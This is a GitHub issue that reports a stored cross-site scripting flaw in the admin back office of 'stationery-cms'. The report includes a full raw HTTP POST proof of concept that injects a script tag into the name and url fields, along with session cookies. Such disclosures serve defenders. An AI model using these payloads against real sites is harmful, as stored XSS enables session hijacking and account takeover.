Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Back Office Supplies Management-Link-Exist Store xss #14

Open
qbz95aaa opened this issue Jan 8, 2023 · 0 comments
Open

Back Office Supplies Management-Link-Exist Store xss #14

qbz95aaa opened this issue Jan 8, 2023 · 0 comments

Comments

@qbz95aaa
Copy link

qbz95aaa commented Jan 8, 2023

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability(Cross-site scripting)
Vulnerability Details:
Back Office Supplies Management-Link-Exist Store xss
http://127.0.0.1:8091/admin/stationeries/1/edit
image
poc
`POST /admin/stationeries/13 HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 844
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJm27fVVBIxO2o8LO
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/stationeries/13/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwn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CJ9; laravel_session=eyJpdiI6InpqMklON3VXb3VjQk5iVEhRR05aT3c9PSIsInZhbHVlIjoiam5wY0JGMW9kalwvUEw1cTZrXC8zVzd4NkxKY3FQK2RkZ094SXRjK1YzcTJ6RHorTjR2YlFUUDVSSmpIc0NzSFM0IiwibWFjIjoiYmZlMzljOWUzYzI5MDJmMzEwNGE2MDE2YjY5MGQ4YTQ5ODAzMWY1ODAwZmQ0Mzc5MmMzYWU3YmY5MTE2NzUxNyJ9
Connection: close

------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="name"

testxss<script>alert(1)</script>
------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="user_id"

------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="user_id"

17
------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="url"

http://www.bai<script>alert(1)</script>dx.com
------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="_method"

PUT
------WebKitFormBoundaryJm27fVVBIxO2o8LO
Content-Disposition: form-data; name="previous"

http://192.168.3.129:8091/admin/stationeries?name=
------WebKitFormBoundaryJm27fVVBIxO2o8LO--`
then you can view in url

http://127.0.0.1:8091/admin/stationeries?name=
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant